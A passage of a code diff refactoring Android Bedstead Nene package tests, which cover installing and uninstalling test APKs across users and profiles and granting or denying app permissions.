-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
-    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final Context sContext =
+            TestApis.context().instrumentedContext();
 
-    @Test
-    public void installedOnUsers_includesUserWithPackageInstalled() {
-        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = sTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+    private static final Package sInstrumentedPackage =
+            TestApis.packages().find(sContext.getPackageName());
+    private static final String INSTALL_PERMISSION = "android.permission.CHANGE_WIFI_STATE";
+    private static final String UNDECLARED_RUNTIME_PERMISSION = "android.permission.RECEIVE_SMS";
+    private static final String DECLARED_RUNTIME_PERMISSION =
+            "android.permission.INTERACT_ACROSS_USERS";
+    private static final String NON_EXISTING_PERMISSION = "aPermissionThatDoesntExist";
+    private static final String USER_SPECIFIC_PERMISSION = "android.permission.READ_CONTACTS";
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.query()
+            .wherePermissions().contains(
+                    StringQuery.string().isEqualTo(USER_SPECIFIC_PERMISSION),
+                    StringQuery.string().isEqualTo(DECLARED_RUNTIME_PERMISSION),
+                    StringQuery.string().isEqualTo(INSTALL_PERMISSION)
+            ).get();
+    // TODO(b/202705721): Fix issue with file name conflicts and go with a fixed name
+    private static final File sTestAppApkFile = new File(
+            Environment.getExternalStorageDirectory(), UUID.randomUUID() + ".apk");
 
-        try {
-            assertThat(packageReference.resolve().installedOnUsers()).contains(sUser);
-        } finally {
-            packageReference.uninstall(sUser);
+    @BeforeClass
+    public static void setupClass() throws Exception {
+        try (PermissionContext p = TestApis.permissions()
+                .withPermissionOnVersionAtLeast(R, MANAGE_EXTERNAL_STORAGE)) {
+            sTestApp.writeApkFile(sTestAppApkFile);
+        }
+    }
+
+    @AfterClass
+    public static void teardownClass() throws Exception {
+        try (PermissionContext p = TestApis.permissions()
+                .withPermissionOnVersionAtLeast(R, MANAGE_EXTERNAL_STORAGE)) {
+            sTestAppApkFile.delete();
         }
     }
 
     @Test
-    public void installedOnUsers_doesNotIncludeUserWithoutPackageInstalled() {
-        UserReference user = sTestApis.users().createUser().create();
-        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = sTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+    public void packageName_returnsPackageName() {
+        TestApis.packages().find(PACKAGE_NAME).packageName().equals(PACKAGE_NAME);
+    }
+
+    @Test
+    public void exists_nonExistingPackage_returnsFalse() {
+        assertThat(TestApis.packages().find(NON_EXISTING_PACKAGE_NAME).exists()).isFalse();
+    }
+
+    @Test
+    public void exists_existingPackage_returnsTrue() {
+        assertThat(TestApis.packages().find(EXISTING_PACKAGE_NAME).exists()).isTrue();
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void installExisting_alreadyInstalled_installsInUser() {
+        sInstrumentedPackage.installExisting(sDeviceState.secondaryUser());
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers()).doesNotContain(user);
+            assertThat(sInstrumentedPackage.installedOnUser(sDeviceState.secondaryUser())).isTrue();
         } finally {
-            packageReference.uninstall(sUser);
-            user.remove();
+            sInstrumentedPackage.uninstall(sDeviceState.secondaryUser());
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void uninstallForAllUsers_isUninstalledForAllUsers() throws Exception {
+        Package pkg = TestApis.packages().install(sTestAppApkFile);
+        pkg.installExisting(sDeviceState.secondaryUser());
+
+        pkg.uninstallFromAllUsers();
+
+        assertThat(pkg.installedOnUsers()).isEmpty();
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void uninstall_packageIsInstalledForDifferentUser_isUninstalledForUser()
+            throws Exception {
+        Package pkg = TestApis.packages().install(sTestAppApkFile);
+
+        try {
+            pkg.installExisting(sDeviceState.secondaryUser());
+
+            pkg.uninstall(TestApis.users().instrumented());
+
+            assertThat(sTestApp.pkg().installedOnUsers()).containsExactly(
+                    sDeviceState.secondaryUser());
+        } finally {
+            pkg.uninstall(TestApis.users().instrumented());
+            pkg.uninstall(sDeviceState.secondaryUser());
+        }
+    }
+
+    @Test
+    public void uninstall_packageIsUninstalled() throws Exception {
+        Package pkg = TestApis.packages().install(sTestAppApkFile);
+
+        pkg.uninstall(TestApis.users().instrumented());
+
+        assertThat(sTestApp.pkg().installedOnUser(TestApis.users().instrumented())).isFalse();
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void uninstall_packageNotInstalledForUser_doesNotThrowException() {
+        TestApis.packages().install(sTestAppApkFile);
+
+        try {
+            sTestApp.pkg().uninstall(sDeviceState.secondaryUser());
+        } finally {
+            sTestApp.pkg().uninstall(TestApis.users().instrumented());
+        }
+    }
+
+    @Test
+    public void uninstall_packageDoesNotExist_doesNotThrowException() {
+        Package pkg = TestApis.packages().find(NON_EXISTING_PACKAGE_NAME);
+
+        pkg.uninstall(sUser);
+    }
+
+    @Test
+    public void grantPermission_installPermission_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
+                        INSTALL_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_nonDeclaredPermission_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
+                        UNDECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    public void grantPermission_permissionIsGranted() {
+        try (TestAppInstance instance = sTestApp.install()) {
+            sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
+
+            assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isTrue();
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void grantPermission_permissionIsUserSpecific_permissionIsGrantedOnlyForThatUser() {
+        try (TestAppInstance instance1 = sTestApp.install();
+             TestAppInstance instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
+
+            sTestApp.pkg().grantPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
+
+            assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isFalse();
+            assertThat(sTestApp.pkg().hasPermission(sDeviceState.secondaryUser(),
+                    USER_SPECIFIC_PERMISSION)).isTrue();
+        }
+    }
+
+    @Test
+    public void grantPermission_packageDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(NON_EXISTING_PACKAGE_NAME).grantPermission(sUser,
+                        DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_permissionDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
+                        NON_EXISTING_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_packageIsNotInstalledForUser_throwsException() {
+        sTestApp.pkg().uninstall(TestApis.users().instrumented());
+
+        assertThrows(NeneException.class,
+                () -> sTestApp.pkg().grantPermission(DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    @Ignore("Cannot be tested because all runtime permissions are granted by default")
+    public void denyPermission_ownPackage_permissionIsNotGranted_doesNotThrowException() {
+        Package pkg = TestApis.packages().find(sContext.getPackageName());
+
+        pkg.denyPermission(sUser, USER_SPECIFIC_PERMISSION);
+    }
+
+    @Test
+    public void denyPermission_ownPackage_permissionIsGranted_throwsException() {
+        Package pkg = TestApis.packages().find(sContext.getPackageName());
+        pkg.grantPermission(sUser, USER_SPECIFIC_PERMISSION);
+
+        assertThrows(NeneException.class, () ->
+                pkg.denyPermission(sUser, USER_SPECIFIC_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_permissionIsNotGranted() {
+        try (TestAppInstance instance = sTestApp.install()) {
+            sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
+
+            sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
+
+            assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isFalse();
+        }
+    }
+
+    @Test
+    public void denyPermission_packageDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(NON_EXISTING_PACKAGE_NAME).denyPermission(sUser,
+                        DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_permissionDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(sContext.getPackageName()).denyPermission(sUser,
+                        NON_EXISTING_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_packageIsNotInstalledForUser_throwsException() {
+        sTestApp.pkg().uninstall(TestApis.users().instrumented());
+
+        assertThrows(NeneException.class,
+                () -> sTestApp.pkg().denyPermission(DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_installPermission_throwsException() {
+        try (TestAppInstance instance = sTestApp.install()) {
+            assertThrows(NeneException.class, () ->
+                    sTestApp.pkg().denyPermission(INSTALL_PERMISSION));
+        }
+    }
+
+    @Test
+    public void denyPermission_nonDeclaredPermission_throwsException() {
+        assertThrows(NeneException.class, () ->
+                TestApis.packages().find(sContext.getPackageName()).denyPermission(sUser,
+                        UNDECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_alreadyDenied_doesNothing() {
+        try (TestAppInstance instance = sTestApp.install()) {
+            sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
+            sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
+
+            assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isFalse();
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void denyPermission_permissionIsUserSpecific_permissionIsDeniedOnlyForThatUser() {
+        try (TestAppInstance instance1 = sTestApp.install();
+             TestAppInstance instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
+            sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
+            sTestApp.pkg().grantPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
+
+            sTestApp.pkg().denyPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
+
+            assertThat(sTestApp.pkg().hasPermission(sDeviceState.secondaryUser(),
+                    USER_SPECIFIC_PERMISSION)).isFalse();
+            assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isTrue();
+        }
+    }
+
+    @Test
+    public void installedOnUsers_includesUserWithPackageInstalled() {
+        TestApis.packages().install(sUser, sTestAppApkFile);
+        Package pkg = TestApis.packages().find(sTestApp.packageName());
+
+        try {
+            assertThat(pkg.installedOnUsers()).contains(sUser);
+        } finally {
+            pkg.uninstall(sUser);
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @RequireRunNotOnSecondaryUser
+    public void installedOnUsers_doesNotIncludeUserWithoutPackageInstalled() throws Exception {
+        Package pkg = TestApis.packages().install(sTestAppApkFile);
+        pkg.uninstall(sDeviceState.secondaryUser());
+
+        try {
+            assertThat(pkg.installedOnUsers()).doesNotContain(sDeviceState.secondaryUser());
+        } finally {
+            pkg.uninstall(TestApis.users().instrumented());
         }
     }
 
@@ -75,9 +374,8 @@
     public void grantedPermission_includesKnownInstallPermission() {
         // TODO(scottjonathan): This relies on the fact that the instrumented app declares
         //  ACCESS_NETWORK_STATE - this should be replaced with TestApp with a useful query
-        PackageReference packageReference = sTestApis.packages().find(sContext.getPackageName());
+        Package pkg = TestApis.packages().find(sContext.getPackageName());
 
-        assertThat(packageReference.resolve().grantedPermissions(sUser))
-                .contains(ACCESS_NETWORK_STATE_PERMISSION);
+        assertThat(pkg.hasPermission(sUser, ACCESS_NETWORK_STATE_PERMISSION)).isTrue();
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
index c02f84a..a9f5c73 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
@@ -16,33 +16,45 @@
 
 package com.android.bedstead.nene.packages;
 
+import static android.os.Build.VERSION_CODES.S;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
-import android.os.Build;
-
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.Versions;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
 import com.android.compatibility.common.util.FileUtils;
 
+import org.junit.ClassRule;
 import org.junit.Ignore;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class PackagesTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
     private static final String INPUT_METHODS_FEATURE = "android.software.input_methods";
     private static final String NON_EXISTING_PACKAGE = "com.package.does.not.exist";
-
     // Controlled by AndroidTest.xml
     private static final String TEST_APP_PACKAGE_NAME =
             "com.android.bedstead.nene.testapps.TestApp1";
@@ -50,16 +62,16 @@
     private static final File NON_EXISTING_APK_FILE =
             new File("/data/local/tmp/ThisApkDoesNotExist.apk");
     private static final byte[] TEST_APP_BYTES = loadBytes(TEST_APP_APK_FILE);
-
-    private final TestApis mTestApis = new TestApis();
-    private final UserReference mUser = mTestApis.users().instrumented();
-    private final PackageReference mExistingPackage =
-            mTestApis.packages().find("com.android.providers.telephony");
-    private final PackageReference mTestAppReference =
-            mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
-    private final PackageReference mDifferentTestAppReference =
-            mTestApis.packages().find(NON_EXISTING_PACKAGE);
-    private final UserReference mNonExistingUser = mTestApis.users().find(99999);
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.any();
+    private final UserReference mUser = TestApis.users().instrumented();
+    private final Package mExistingPackage =
+            TestApis.packages().find("com.android.providers.telephony");
+    private final Package mTestAppReference =
+            TestApis.packages().find(TEST_APP_PACKAGE_NAME);
+    private final Package mDifferentTestAppReference =
+            TestApis.packages().find(NON_EXISTING_PACKAGE);
+    private final UserReference mNonExistingUser = TestApis.users().find(99999);
     private final File mApkFile = new File("");
 
     private static byte[] loadBytes(File file) {
@@ -71,164 +83,169 @@
     }
 
     @Test
-    public void construct_nullTestApis_throwsException() {
-        assertThrows(NullPointerException.class, () -> new Packages(/* testApis= */ null));
-    }
-
-    @Test
     public void construct_constructs() {
-        new Packages(mTestApis); // Doesn't throw any exceptions
+        new Packages(); // Doesn't throw any exceptions
     }
 
     @Test
     public void features_noUserSpecified_containsKnownFeature() {
-        assertThat(mTestApis.packages().features()).contains(INPUT_METHODS_FEATURE);
-    }
-
-    @Test
-    public void all_containsKnownPackage() {
-        assertThat(mTestApis.packages().all()).contains(mExistingPackage);
+        assertThat(TestApis.packages().features()).contains(INPUT_METHODS_FEATURE);
     }
 
     @Test
     public void find_nullPackageName_throwsException() {
-        assertThrows(NullPointerException.class, () -> mTestApis.packages().find(null));
+        assertThrows(NullPointerException.class, () -> TestApis.packages().find(null));
     }
 
     @Test
     public void find_existingPackage_returnsPackageReference() {
-        assertThat(mTestApis.packages().find(mExistingPackage.packageName())).isNotNull();
+        assertThat(TestApis.packages().find(mExistingPackage.packageName())).isNotNull();
     }
 
     @Test
     public void find_nonExistingPackage_returnsPackageReference() {
-        assertThat(mTestApis.packages().find(NON_EXISTING_PACKAGE)).isNotNull();
+        assertThat(TestApis.packages().find(NON_EXISTING_PACKAGE)).isNotNull();
     }
 
     @Test
     public void installedForUser_nullUserReference_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.packages().installedForUser(/* user= */ null));
+                () -> TestApis.packages().installedForUser(/* user= */ null));
     }
 
     @Test
     public void installedForUser_containsPackageInstalledForUser() {
-        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        Package pkg = TestApis.packages().install(mUser, TEST_APP_APK_FILE);
 
         try {
-            assertThat(mTestApis.packages().installedForUser(mUser)).contains(packageReference);
+            assertThat(TestApis.packages().installedForUser(mUser)).contains(pkg);
         } finally {
-            packageReference.uninstall(mUser);
+            pkg.uninstall(mUser);
         }
     }
 
     @Test
     public void installedForUser_doesNotContainPackageNotInstalledForUser() {
-        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        Package pkg = TestApis.packages().install(mUser, TEST_APP_APK_FILE);
 
-        try (UserReference otherUser = mTestApis.users().createUser().create()) {
-            assertThat(mTestApis.packages().installedForUser(otherUser))
-                    .doesNotContain(packageReference);
+        try (UserReference otherUser = TestApis.users().createUser().create()) {
+            assertThat(TestApis.packages().installedForUser(otherUser))
+                    .doesNotContain(pkg);
         } finally {
-            packageReference.uninstall(mUser);
+            pkg.uninstall(mUser);
         }
     }
 
     @Test
     public void install_nonExistingPackage_throwsException() {
         assertThrows(NeneException.class,
-                () -> mTestApis.packages().install(mUser, NON_EXISTING_APK_FILE));
+                () -> TestApis.packages().install(mUser, NON_EXISTING_APK_FILE));
     }
 
     @Test
     public void install_nullUser_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.packages().install(/* user= */ null, mApkFile));
+                () -> TestApis.packages().install(/* user= */ null, mApkFile));
     }
 
     @Test
     public void install_byteArray_nullUser_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.packages().install(/* user= */ null, TEST_APP_BYTES));
+                () -> TestApis.packages().install(/* user= */ null, TEST_APP_BYTES));
     }
 
     @Test
     public void install_nullApkFile_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.packages().install(mUser, (File) /* apkFile= */ null));
+                () -> TestApis.packages().install(mUser, (File) /* apkFile= */ null));
     }
 
     @Test
     public void install_nullByteArray_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.packages().install(mUser, (byte[]) /* apkFile= */ null));
+                () -> TestApis.packages().install(mUser, (byte[]) /* apkFile= */ null));
     }
 
     @Test
     public void install_instrumentedUser_isInstalled() {
-        PackageReference packageReference =
-                mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_APK_FILE);
+        Package pkg =
+                TestApis.packages().install(TestApis.users().instrumented(), TEST_APP_APK_FILE);
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers())
-                    .contains(mTestApis.users().instrumented());
+            assertThat(pkg.installedOnUser()).isTrue();
         } finally {
-            packageReference.uninstall(mTestApis.users().instrumented());
+            pkg.uninstall(TestApis.users().instrumented());
         }
     }
 
     @Test
     public void install_byteArray_instrumentedUser_isInstalled() {
-        PackageReference packageReference =
-                mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_BYTES);
+        Package pkg =
+                TestApis.packages().install(TestApis.users().instrumented(), TEST_APP_BYTES);
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers())
-                    .contains(mTestApis.users().instrumented());
+            assertThat(pkg.installedOnUser()).isTrue();
         } finally {
-            packageReference.uninstall(mTestApis.users().instrumented());
+            pkg.uninstall(TestApis.users().instrumented());
         }
     }
 
     @Test
-    public void install_differentUser_isInstalled() {
-        UserReference user = mTestApis.users().createUser().createAndStart();
-        PackageReference packageReference =
-                mTestApis.packages().install(user, TEST_APP_APK_FILE);
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void install_inWorkProfile_isInstalled() {
+        TestApis.packages().install(sDeviceState.workProfile(), TEST_APP_APK_FILE);
+        Package pkg = TestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+            assertThat(pkg.installedOnUser(sDeviceState.workProfile())).isTrue();
         } finally {
-            user.remove();
+            pkg.uninstall(sDeviceState.workProfile());
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    public void install_differentUser_isInstalled() {
+        TestApis.packages().install(sDeviceState.secondaryUser(), TEST_APP_APK_FILE);
+        Package pkg = TestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(pkg.installedOnUser(sDeviceState.secondaryUser())).isTrue();
+        } finally {
+            pkg.uninstall(sDeviceState.secondaryUser());
         }
     }
 
     @Test
     public void install_byteArray_differentUser_isInstalled() {
-        UserReference user = mTestApis.users().createUser().createAndStart();
-        PackageReference packageReference = mTestApis.packages().install(user, TEST_APP_BYTES);
+        UserReference user = TestApis.users().createUser().createAndStart();
+        TestApis.packages().install(user, TEST_APP_BYTES);
+        Package pkg = TestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+            assertThat(pkg.installedOnUser(user)).isTrue();
         } finally {
             user.remove();
         }
     }
 
     @Test
+    @RequireRunOnPrimaryUser
     public void install_userNotStarted_throwsException() {
-        try (UserReference user = mTestApis.users().createUser().create().stop()) {
-            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+        try (UserReference user = TestApis.users().createUser().create().stop()) {
+            assertThrows(NeneException.class, () -> TestApis.packages().install(user,
                     TEST_APP_APK_FILE));
         }
     }
 
     @Test
     public void install_byteArray_userNotStarted_throwsException() {
-        UserReference user = mTestApis.users().createUser().create().stop();
+        UserReference user = TestApis.users().createUser().create().stop();
 
         try {
-            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+            assertThrows(NeneException.class, () -> TestApis.packages().install(user,
                     TEST_APP_BYTES));
         } finally {
             user.remove();
@@ -237,154 +254,156 @@
 
     @Test
     public void install_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+        assertThrows(NeneException.class, () -> TestApis.packages().install(mNonExistingUser,
                 TEST_APP_APK_FILE));
     }
 
     @Test
     public void install_byteArray_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+        assertThrows(NeneException.class, () -> TestApis.packages().install(mNonExistingUser,
                 TEST_APP_BYTES));
     }
 
     @Test
     public void install_alreadyInstalledForUser_installs() {
-        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        Package pkg = TestApis.packages().install(mUser, TEST_APP_APK_FILE);
 
         try {
-            packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+            pkg = TestApis.packages().install(mUser, TEST_APP_APK_FILE);
+            assertThat(pkg.installedOnUser(mUser)).isTrue();
         } finally {
-            packageReference.uninstall(mUser);
+            pkg.uninstall(mUser);
         }
     }
 
     @Test
     public void install_byteArray_alreadyInstalledForUser_installs() {
-        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_BYTES);
+        Package pkg = TestApis.packages().install(mUser, TEST_APP_BYTES);
 
         try {
-            packageReference = mTestApis.packages().install(mUser, TEST_APP_BYTES);
-            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+            pkg = TestApis.packages().install(mUser, TEST_APP_BYTES);
+            assertThat(pkg.installedOnUser(mUser)).isTrue();
         } finally {
-            packageReference.uninstall(mUser);
+            pkg.uninstall(mUser);
         }
     }
 
     @Test
     public void install_alreadyInstalledOnOtherUser_installs() {
-        PackageReference packageReference = null;
+        Package pkg = null;
 
-        try (UserReference otherUser = mTestApis.users().createUser().createAndStart()) {
-            mTestApis.packages().install(otherUser, TEST_APP_APK_FILE);
+        try (UserReference otherUser = TestApis.users().createUser().createAndStart()) {
+            TestApis.packages().install(otherUser, TEST_APP_APK_FILE);
 
-            packageReference =
-                    mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+            pkg =
+                    TestApis.packages().install(mUser, TEST_APP_APK_FILE);
 
-            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+            assertThat(pkg.installedOnUser(mUser)).isTrue();
         } finally {
-            if (packageReference != null) {
-                packageReference.uninstall(mUser);
+            if (pkg != null) {
+                pkg.uninstall(mUser);
             }
         }
     }
 
     @Test
     public void install_byteArray_alreadyInstalledOnOtherUser_installs() {
-        PackageReference packageReference = null;
+        Package pkg = null;
 
-        try (UserReference otherUser = mTestApis.users().createUser().createAndStart()) {
-            mTestApis.packages().install(otherUser, TEST_APP_BYTES);
+        try (UserReference otherUser = TestApis.users().createUser().createAndStart()) {
+            TestApis.packages().install(otherUser, TEST_APP_BYTES);
 
-            packageReference = mTestApis.packages().install(mUser, TEST_APP_BYTES);
+            pkg = TestApis.packages().install(mUser, TEST_APP_BYTES);
 
-            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+            assertThat(pkg.installedOnUser(mUser)).isTrue();
         } finally {
-            if (packageReference != null) {
-                packageReference.uninstall(mUser);
+            if (pkg != null) {
+                pkg.uninstall(mUser);
             }
         }
     }
 
     @Test
-    public void keepUninstalledPackages_packageIsUninstalled_packageStillResolves() {
-        assumeTrue("keepUninstalledPackages is only supported on S+",
-                Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
+    @RequireSdkVersion(min = S, reason = "keepUninstalledPackages is only supported on S+")
+    @Ignore
+    // TODO: .exists() doesn't return true when the package is kept - restore this functionality
+    public void keepUninstalledPackages_packageIsUninstalled_packageStillExists() {
+        try (TestAppInstance testAppInstance = sTestApp.install()) {
+            TestApis.packages().keepUninstalledPackages()
+                    .add(sTestApp.pkg())
+                    .commit();
 
-        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        mTestApis.packages().keepUninstalledPackages()
-                .add(mTestAppReference)
-                .commit();
+            testAppInstance.uninstall();
 
-        try {
-            mTestAppReference.uninstall(mUser);
-
-            assertThat(mTestAppReference.resolve()).isNotNull();
+            assertThat(sTestApp.pkg().exists()).isTrue();
         } finally {
-            mTestApis.packages().keepUninstalledPackages().clear();
+            TestApis.packages().keepUninstalledPackages().clear();
         }
     }
 
     @Test
-    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
-    public void keepUninstalledPackages_packageRemovedFromList_packageIsUninstalled_packageDoesNotResolve() {
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for "
+            + "uninstall")
+    public void keepUninstalledPackages_packageRemovedFromList_packageIsUninstalled_packageDoesNotExist() {
         assumeTrue("keepUninstalledPackages is only supported on S+",
-                Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
+                Versions.meetsMinimumSdkVersionRequirement(S));
 
-        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        mTestApis.packages().keepUninstalledPackages()
+        TestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        TestApis.packages().keepUninstalledPackages()
                 .add(mTestAppReference)
                 .commit();
-        mTestApis.packages().keepUninstalledPackages()
+        TestApis.packages().keepUninstalledPackages()
                 .add(mDifferentTestAppReference)
                 .commit();
 
         try {
             mTestAppReference.uninstall(mUser);
 
-            assertThat(mTestAppReference.resolve()).isNull();
+            assertThat(mTestAppReference.exists()).isFalse();
         } finally {
-            mTestApis.packages().keepUninstalledPackages().clear();
+            TestApis.packages().keepUninstalledPackages().clear();
         }
     }
 
     @Test
-    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
-    public void keepUninstalledPackages_cleared_packageIsUninstalled_packageDoesNotResolve() {
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for "
+            + "uninstall")
+    public void keepUninstalledPackages_cleared_packageIsUninstalled_packageDoesNotExist() {
         assumeTrue("keepUninstalledPackages is only supported on S+",
-                Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
+                Versions.meetsMinimumSdkVersionRequirement(S));
 
-        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        TestApis.packages().install(mUser, TEST_APP_APK_FILE);
 
-        mTestApis.packages().keepUninstalledPackages()
+        TestApis.packages().keepUninstalledPackages()
                 .add(mTestAppReference)
                 .commit();
-        mTestApis.packages().keepUninstalledPackages().clear();
+        TestApis.packages().keepUninstalledPackages().clear();
 
         try {
             mTestAppReference.uninstall(mUser);
 
-            assertThat(mTestAppReference.resolve()).isNull();
+            assertThat(mTestAppReference.exists()).isFalse();
         } finally {
-            mTestApis.packages().keepUninstalledPackages().clear();
+            TestApis.packages().keepUninstalledPackages().clear();
         }
     }
 
     @Test
-    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
-    public void keepUninstalledPackages_packageRemovedFromList_packageAlreadyUninstalled_packageDoesNotResolve() {
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for "
+            + "uninstall")
+    public void keepUninstalledPackages_packageRemovedFromList_packageAlreadyUninstalled_packageDoesNotExist() {
